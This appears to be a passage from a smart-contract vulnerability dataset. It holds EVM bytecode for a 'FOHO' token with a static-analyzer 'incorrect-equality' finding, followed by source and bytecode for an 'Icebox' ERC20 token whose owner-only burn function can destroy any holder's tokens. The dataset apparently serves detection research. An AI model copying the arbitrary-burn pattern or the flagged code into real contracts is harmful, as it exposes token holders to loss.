ffffffffffffffffffff1681565b6108e53382611778565b50565b60046020528060005260406000206000915054906101000a900463ffffffff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff166bffffffffffffffffffffffff169050919050565b60004382106109be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109b590612947565b60405180910390fd5b6000600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff16905060008163ffffffff161415610a2b576000915050610d87565b82600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001840363ffffffff1663ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff1611610b2d57600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001830363ffffffff1663ffffffff16815260200190815260200160002060000160049054906101000a90046bffffffffffffffffffffffff16915050610d87565b82600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008063ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff161115610bae576000915050610d87565b600080905060006001830390505b8163ffffffff168163ffffffff161115610d09576000600283830363ffffffff1681610be457fe5b0482039050610bf1611fff565b600360008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008363ffffffff1663ffffffff1681526020019081526020016000206040518060400160405290816000820160009054906101000a900463ffffffff1663ffffffff1663ffffffff1681526020016000820160049054906101000a90046bffffffffffffffffffffffff166bffffffffffffffffffffffff166bffffffffffffffffffffffff1681525050905086816000015163ffffffff161415610ce157806020015195505050505050610d87565b86816000015163ffffffff161015610cfb57819350610d02565b6001820392505b5050610bbc565b600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008363ffffffff1663ffffffff16815260200190815260200160002060000160049054906101000a90046bffffffffffffffffffffffff1693505050505b92915050565b60056020528060005260406000206000915090505481565b6040518060400160405280600481526020017f464f484f0000000000000000000000000000000000000000000000000000000081525081565b600080610e0383604051806060016040528060268152602001612cb4602691396112c8565b9050610e10338583611397565b600191505092915050565b600080600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff16905060008163ffffffff1611610e85576000610f01565b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001830363ffffffff1663ffffffff16815260200190815260200160002060000160049054906101000a90046bffffffffffffffffffffffff165b915050919050565b6000604051610f1790612719565b60405180910390206040518060400160405280600881526020017f466f686f436f696e00000000000000000000000000000000000000000000000081525080519060200120610f64611938565b30604051602001610f7894939291906127d9565b6040516020818303038152906040528051906020012090506000604051610f9e9061272e565b6040518091039020888888604051602001610fbc9493929190612794565b60405160208183030381529060405280519060200120905060008282604051602001610fe99291906126e2565b604051602081830303815290604052805190602001209050600060018288888860405160008152602001604052604051611026949392919061281e565b6020604051602081039080840390855afa158015611048573d6000803e3d6000fd5b505050602060405103519050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156110c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110bb906128c7565b60405180910390fd5b600560008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190600101919050558914611153576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161114a90612927565b60405180910390fd5b87421115611196576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161118d906128a7565b60405180910390fd5b6111a0818b611778565b50505050505050505050565b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff166bffffffffffffffffffffffff16905092915050565b6040516112649061272e565b604051809103902081565b6003602052816000526040600020602052806000526040600020600091509150508060000160009054906101000a900463ffffffff16908060000160049054906101000a90046bffffffffffffffffffffffff16905082565b60006c010000000000000000000000008310829061131c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113139190612885565b60405180910390fd5b5082905092915050565b6000836bffffffffffffffffffffffff16836bffffffffffffffffffffffff161115829061138a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113819190612885565b60405180910390fd5b5082840390509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611407576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113fe90612907565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611477576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161146e906128e7565b60405180910390fd5b6114f1600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff1682604051806060016040528060368152602001612c5660369139611326565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff1602179055506115d8600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff1682604051806060016040528060308152602001612bcd60309139611945565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516116a291906129e1565b60405180910390a3611773600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836119bb565b505050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff16905082600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508273ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167f3134e8a2e6d97e929a7e54011ea5485d7d196dd5f0ba4d4ef95803e8e3fc257f60405160405180910390a46119328284836119bb565b50505050565b6000804690508091505090565b6000808385019050846bffffffffffffffffffffffff16816bffffffffffffffffffffffff16101583906119af576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119a69190612885565b60405180910390fd5b50809150509392505050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611a0557506000816bffffffffffffffffffffffff16115b15611cb157600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611b5d576000600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff1690506000808263ffffffff1611611aa8576000611b24565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001840363ffffffff1663ffffffff16815260200190815260200160002060000160049054906101000a90046bffffffffffffffffffffffff165b90506000611b4b8285604051806060016040528060288152602001612c8c60289139611326565b9050611b5986848484611cb6565b5050505b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611cb0576000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff1690506000808263ffffffff1611611bfb576000611c77565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001840363ffffffff1663ffffffff16815260200190815260200160002060000160049054906101000a90046bffffffffffffffffffffffff165b90506000611c9e8285604051806060016040528060278152602001612cda60279139611945565b9050611cac85848484611cb6565b5050505b5b505050565b6000611cda43604051806060016040528060348152602001612c2260349139611fa9565b905060008463ffffffff16118015611d6f57508063ffffffff16600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001870363ffffffff1663ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff16145b15611e0a5781600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001870363ffffffff1663ffffffff16815260200190815260200160002060000160046101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff160217905550611f52565b60405180604001604052808263ffffffff168152602001836bffffffffffffffffffffffff16815250600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008663ffffffff1663ffffffff16815260200190815260200160002060008201518160000160006101000a81548163ffffffff021916908363ffffffff16021790555060208201518160000160046101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff16021790555090505060018401600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548163ffffffff021916908363ffffffff1602179055505b8473ffffffffffffffffffffffffffffffffffffffff167fdec2bacdd2f05b59de34da9b523dff8be42e5e38e818c82fdb0bae774387a7248484604051611f9a929190612a17565b60405180910390a25050505050565b600064010000000083108290611ff5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fec9190612885565b60405180910390fd5b5082905092915050565b6040518060400160405280600063ffffffff16815260200160006bffffffffffffffffffffffff1681525090565b60008135905061203c81612b59565b92915050565b60008135905061205181612b70565b92915050565b60008135905061206681612b87565b92915050565b60008135905061207b81612b9e565b92915050565b60008135905061209081612bb5565b92915050565b6000602082840312156120a857600080fd5b60006120b68482850161202d565b91505092915050565b600080604083850312156120d257600080fd5b60006120e08582860161202d565b92505060206120f18582860161202d565b9150509250929050565b60008060006060848603121561211057600080fd5b600061211e8682870161202d565b935050602061212f8682870161202d565b925050604061214086828701612057565b9150509250925092565b6000806040838503121561215d57600080fd5b600061216b8582860161202d565b925050602061217c85828601612057565b9150509250929050565b60008060008060008060c0878903121561219f57600080fd5b60006121ad89828a0161202d565b96505060206121be89828a01612057565b95505060406121cf89828a01612057565b94505060606121e089828a01612081565b93505060806121f189828a01612042565b92505060a061220289828a01612042565b9150509295509295509295565b6000806040838503121561222257600080fd5b60006122308582860161202d565b92505060206122418582860161206c565b9150509250929050565b61225481612a72565b82525050565b61226381612a84565b82525050565b61227281612a90565b82525050565b61228961228482612a90565b612b3e565b82525050565b600061229a82612a4b565b6122a48185612a56565b93506122b4818560208601612b0b565b6122bd81612b48565b840191505092915050565b60006122d382612a40565b6122dd8185612a56565b93506122ed818560208601612b0b565b6122f681612b48565b840191505092915050565b600061230e600283612a67565b91507f19010000000000000000000000000000000000000000000000000000000000006000830152600282019050919050565b600061234e602683612a56565b91507f464f484f3a3a64656c656761746542795369673a207369676e6174757265206560008301527f78706972656400000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006123b4604383612a67565b91507f454950373132446f6d61696e28737472696e67206e616d652c75696e7432353660008301527f20636861696e49642c6164647265737320766572696679696e67436f6e74726160208301527f63742900000000000000000000000000000000000000000000000000000000006040830152604382019050919050565b6000612440602683612a56565b91507f464f484f3a3a64656c656761746542795369673a20696e76616c69642073696760008301527f6e617475726500000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006124a6603a83612a56565b91507f464f484f3a3a5f7472616e73666572546f6b656e733a2063616e6e6f7420747260008301527f616e7366657220746f20746865207a65726f20616464726573730000000000006020830152604082019050919050565b600061250c603c83612a56565b91507f464f484f3a3a5f7472616e73666572546f6b656e733a2063616e6e6f7420747260008301527f616e736665722066726f6d20746865207a65726f2061646472657373000000006020830152604082019050919050565b6000612572602283612a56565b91507f464f484f3a3a64656c656761746542795369673a20696e76616c6964206e6f6e60008301527f63650000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006125d8603a83612a67565b91507f44656c65676174696f6e28616464726573732064656c6567617465652c75696e60008301527f74323536206e6f6e63652c75696e7432353620657870697279290000000000006020830152603a82019050919050565b600061263e602783612a56565b91507f464f484f3a3a6765745072696f72566f7465733a206e6f74207965742064657460008301527f65726d696e6564000000000000000000000000000000000000000000000000006020830152604082019050919050565b6126a081612aba565b82525050565b6126af81612ac4565b82525050565b6126be81612ad4565b82525050565b6126cd81612af9565b82525050565b6126dc81612ae1565b82525050565b60006126ed82612301565b91506126f98285612278565b6020820191506127098284612278565b6020820191508190509392505050565b6000612724826123a7565b9150819050919050565b6000612739826125cb565b9150819050919050565b6000602082019050612758600083018461224b565b92915050565b6000602082019050612773600083018461225a565b92915050565b600060208201905061278e6000830184612269565b92915050565b60006080820190506127a96000830187612269565b6127b6602083018661224b565b6127c36040830185612697565b6127d06060830184612697565b95945050505050565b60006080820190506127ee6000830187612269565b6127fb6020830186612269565b6128086040830185612697565b612815606083018461224b565b95945050505050565b60006080820190506128336000830187612269565b61284060208301866126b5565b61284d6040830185612269565b61285a6060830184612269565b95945050505050565b6000602082019050818103600083015261287d81846122c8565b905092915050565b6000602082019050818103600083015261289f818461228f565b905092915050565b600060208201905081810360008301526128c081612341565b9050919050565b600060208201905081810360008301526128e081612433565b9050919050565b6000602082019050818103600083015261290081612499565b9050919050565b60006020820190508181036000830152612920816124ff565b9050919050565b6000602082019050818103600083015261294081612565565b9050919050565b6000602082019050818103600083015261296081612631565b9050919050565b600060208201905061297c6000830184612697565b92915050565b600060208201905061299760008301846126a6565b92915050565b60006040820190506129b260008301856126a6565b6129bf60208301846126d3565b9392505050565b60006020820190506129db60008301846126b5565b92915050565b60006020820190506129f660008301846126c4565b92915050565b6000602082019050612a1160008301846126d3565b92915050565b6000604082019050612a2c60008301856126c4565b612a3960208301846126c4565b9392505050565b600081519050919050565b600081519050919050565b600082825260208201905092915050565b600081905092915050565b6000612a7d82612a9a565b9050919050565b60008115159050919050565b6000819050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600063ffffffff82169050919050565b600060ff82169050919050565b60006bffffffffffffffffffffffff82169050919050565b6000612b0482612ae1565b9050919050565b60005b83811015612b29578082015181840152602081019050612b0e565b83811115612b38576000848401525b50505050565b6000819050919050565b6000601f19601f8301169050919050565b612b6281612a72565b8114612b6d57600080fd5b50565b612b7981612a90565b8114612b8457600080fd5b50565b612b9081612aba565b8114612b9b57600080fd5b50565b612ba781612ac4565b8114612bb257600080fd5b50565b612bbe81612ad4565b8114612bc957600080fd5b5056fe464f484f3a3a5f7472616e73666572546f6b656e733a207472616e7366657220616d6f756e74206f766572666c6f7773464f484f3a3a617070726f76653a20616d6f756e7420657863656564732039362062697473464f484f3a3a5f7772697465436865636b706f696e743a20626c6f636b206e756d62657220657863656564732033322062697473464f484f3a3a5f7472616e73666572546f6b656e733a207472616e7366657220616d6f756e7420657863656564732062616c616e6365464f484f3a3a5f6d6f7665566f7465733a20766f746520616d6f756e7420756e646572666c6f7773464f484f3a3a7472616e736665723a20616d6f756e7420657863656564732039362062697473464f484f3a3a5f6d6f7665566f7465733a20766f746520616d6f756e74206f766572666c6f7773464f484f3a3a7472616e7366657246726f6d3a207472616e7366657220616d6f756e742065786365656473207370656e64657220616c6c6f77616e6365a365627a7a72315820e81a2a00e7e186a3de833ba53eee6ec12e45c7356e12a4794cb39e670ed300236c6578706572696d656e74616cf564736f6c63430005100040
{"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
6,728
0xb25387603990e46ff1757c3c30eded24e45d69ef
pragma solidity ^0.6.10; // SPDX-License-Identifier: UNLICENSED /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: openzeppelin-solidity/contracts/token/ERC20/IERC20.sol /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ interface IERC20 { function transfer(address to, uint256 value) external returns (bool); function approve(address spender, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); function totalSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } // File: openzeppelin-solidity/contracts/math/SafeMath.sol /** * @title SafeMath * @dev Unsigned math operations with safety checks that revert on error */ library SafeMath { /** * @dev Multiplies two unsigned integers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } /** * @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } /** * @dev Adds two unsigned integers, reverts on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } /** * @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } // File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md * Originally based on code by FirstBlood: * https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol * * This implementation emits additional Approval events, allowing applications to reconstruct the allowance status for * all accounts just by listening to said events. Note that this isn't required by the specification, and other * compliant implementations may not do it. */ contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowed; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; constructor () public { _name = 'Icebox'; _symbol = 'ICEBOX'; _decimals = 18; } /** * @return the name of the token. */ function name() public view virtual returns (string memory) { return _name; } /** * @return the symbol of the token. */ function symbol() public view virtual returns (string memory) { return _symbol; } /** * @return the number of decimals of the token. */ function decimals() public view virtual returns (uint8) { return _decimals; } /** * @dev Total number of tokens in existence */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev Gets the balance of the specified address. * @param owner The address to query the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address owner) public view override returns (uint256) { return _balances[owner]; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param owner address The address which owns the funds. * @param spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address owner, address spender) public view override returns (uint256) { return _allowed[owner][spender]; } /** * @dev Transfer token for a specified address * @param to The address to transfer to. * @param value The amount to be transferred. */ function transfer(address to, uint256 value) public virtual override returns (bool) { _transfer(msg.sender, to, value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param spender The address which will spend the funds. * @param value The amount of tokens to be spent. */ function approve(address spender, uint256 value) public virtual override returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } /** * @dev Transfer tokens from one address to another. * Note that while this function emits an Approval event, this is not required as per the specification, * and other compliant implementations may not emit the event. * @param from address The address which you want to send tokens from * @param to address The address which you want to transfer to * @param value uint256 the amount of tokens to be transferred */ function transferFrom(address from, address to, uint256 value) public virtual override returns (bool) { _allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value); _transfer(from, to, value); emit Approval(from, msg.sender, _allowed[from][msg.sender]); return true; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when allowed_[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * Emits an Approval event. * @param spender The address which will spend the funds. * @param addedValue The amount of tokens to increase the allowance by. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = _allowed[msg.sender][spender].add(addedValue); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when allowed_[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * Emits an Approval event. * @param spender The address which will spend the funds. * @param subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = _allowed[msg.sender][spender].sub(subtractedValue); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } /** * @dev Transfer token for a specified addresses * @param from The address to transfer from. * @param to The address to transfer to. * @param value The amount to be transferred. */ function _transfer(address from, address to, uint256 value) internal { require(to != address(0)); _balances[from] = _balances[from].sub(value); _balances[to] = _balances[to].add(value); emit Transfer(from, to, value); } /** * @dev Internal function that mints an amount of the token and assigns it to * an account. This encapsulates the modification of balances such that the * proper events are emitted. * @param account The account that will receive the created tokens. * @param value The amount that will be created. */ function _init(address account, uint256 value) internal { require(account != address(0)); _totalSupply = _totalSupply.add(value); _balances[account] = _balances[account].add(value); emit Transfer(address(0), account, value); } /** * @dev Internal function that burns an amount of the token of a given * account. * @param account The account whose tokens will be burnt. * @param value The amount that will be burnt. */ function _burn(address account, uint256 value) internal { require(account != address(0)); _totalSupply = _totalSupply.sub(value); _balances[account] = _balances[account].sub(value); emit Transfer(account, address(0), value); } /** * @dev Internal function that burns an amount of the token of a given * account, deducting from the sender's allowance for said account. Uses the * internal burn function. * Emits an Approval event (reflecting the reduced allowance). * @param account The account whose tokens will be burnt. * @param value The amount that will be burnt. */ function _burnFrom(address account, uint256 value) internal { _allowed[account][msg.sender] = _allowed[account][msg.sender].sub(value); _burn(account, value); emit Approval(account, msg.sender, _allowed[account][msg.sender]); } } // File: @openzeppelin/contracts/access/Ownable.sol /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { _owner = _msgSender(); emit OwnershipTransferred(address(0), _owner); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File: Token-contracts/ERC20.sol contract Icebox is ERC20, Ownable { constructor () public ERC20 () { _init(msg.sender,100000000e18); } /** * @dev Burns token balance in "account" and decrease totalsupply of token * Can only be called by the current owner. */ function burn(address account, uint256 value) public onlyOwner { _burn(account, value); } }
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063715018a611610097578063a457c2d711610066578063a457c2d7146102d9578063a9059cbb14610305578063dd62ed3e14610331578063f2fde38b1461035f576100f5565b8063715018a6146102775780638da5cb5b1461028157806395d89b41146102a55780639dc29fac146102ad576100f5565b806323b872dd116100d357806323b872dd146101d1578063313ce56714610207578063395093511461022557806370a0823114610251576100f5565b806306fdde03146100fa578063095ea7b31461017757806318160ddd146101b7575b600080fd5b610102610385565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561013c578181015183820152602001610124565b50505050905090810190601f1680156101695780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101a36004803603604081101561018d57600080fd5b506001600160a01b03813516906020013561041b565b604080519115158252519081900360200190f35b6101bf610497565b60408051918252519081900360200190f35b6101a3600480360360608110156101e757600080fd5b506001600160a01b0381358116916020810135909116906040013561049d565b61020f610560565b6040805160ff9092168252519081900360200190f35b6101a36004803603604081101561023b57600080fd5b506001600160a01b038135169060200135610569565b6101bf6004803603602081101561026757600080fd5b50356001600160a01b0316610611565b61027f61062c565b005b6102896106eb565b604080516001600160a01b039092168252519081900360200190f35b6101026106ff565b61027f600480360360408110156102c357600080fd5b506001600160a01b038135169060200135610760565b6101a3600480360360408110156102ef57600080fd5b506001600160a01b0381351690602001356107dd565b6101a36004803603604081101561031b57600080fd5b506001600160a01b038135169060200135610820565b6101bf6004803603604081101561034757600080fd5b506001600160a01b0381358116916020013516610836565b61027f6004803603602081101561037557600080fd5b50356001600160a01b0316610861565b60038054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156104115780601f106103e657610100808354040283529160200191610411565b820191906000526020600020905b8154815290600101906020018083116103f457829003601f168201915b5050505050905090565b60006001600160a01b03831661043057600080fd5b3360008181526001602090815260408083206001600160a01b03881680855290835292819020869055805186815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a350600192915050565b60025490565b6001600160a01b03831660009081526001602090815260408083203384529091528120546104cb9083610995565b6001600160a01b03851660009081526001602090815260408083203384529091529020556104fa8484846109aa565b6001600160a01b0384166000818152600160209081526040808320338085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b60055460ff1690565b60006001600160a01b03831661057e57600080fd5b3360009081526001602090815260408083206001600160a01b03871684529091529020546105ac908361097c565b3360008181526001602090815260408083206001600160a01b0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b6001600160a01b031660009081526020819052604090205490565b610634610a69565b60055461010090046001600160a01b0390811691161461069b576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b60055460405160009161010090046001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a360058054610100600160a81b0319169055565b60055461010090046001600160a01b031690565b60048054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156104115780601f106103e657610100808354040283529160200191610411565b610768610a69565b60055461010090046001600160a01b039081169116146107cf576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6107d98282610a6d565b5050565b60006001600160a01b0383166107f257600080fd5b3360009081526001602090815260408083206001600160a01b03871684529091529020546105ac9083610995565b600061082d3384846109aa565b50600192915050565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b610869610a69565b60055461010090046001600160a01b039081169116146108d0576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6001600160a01b0381166109155760405162461bcd60e51b8152600401808060200182810382526026815260200180610b096026913960400191505060405180910390fd5b6005546040516001600160a01b0380841692610100900416907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600580546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b60008282018381101561098e57600080fd5b9392505050565b6000828211156109a457600080fd5b50900390565b6001600160a01b0382166109bd57600080fd5b6001600160a01b0383166000908152602081905260409020546109e0908261099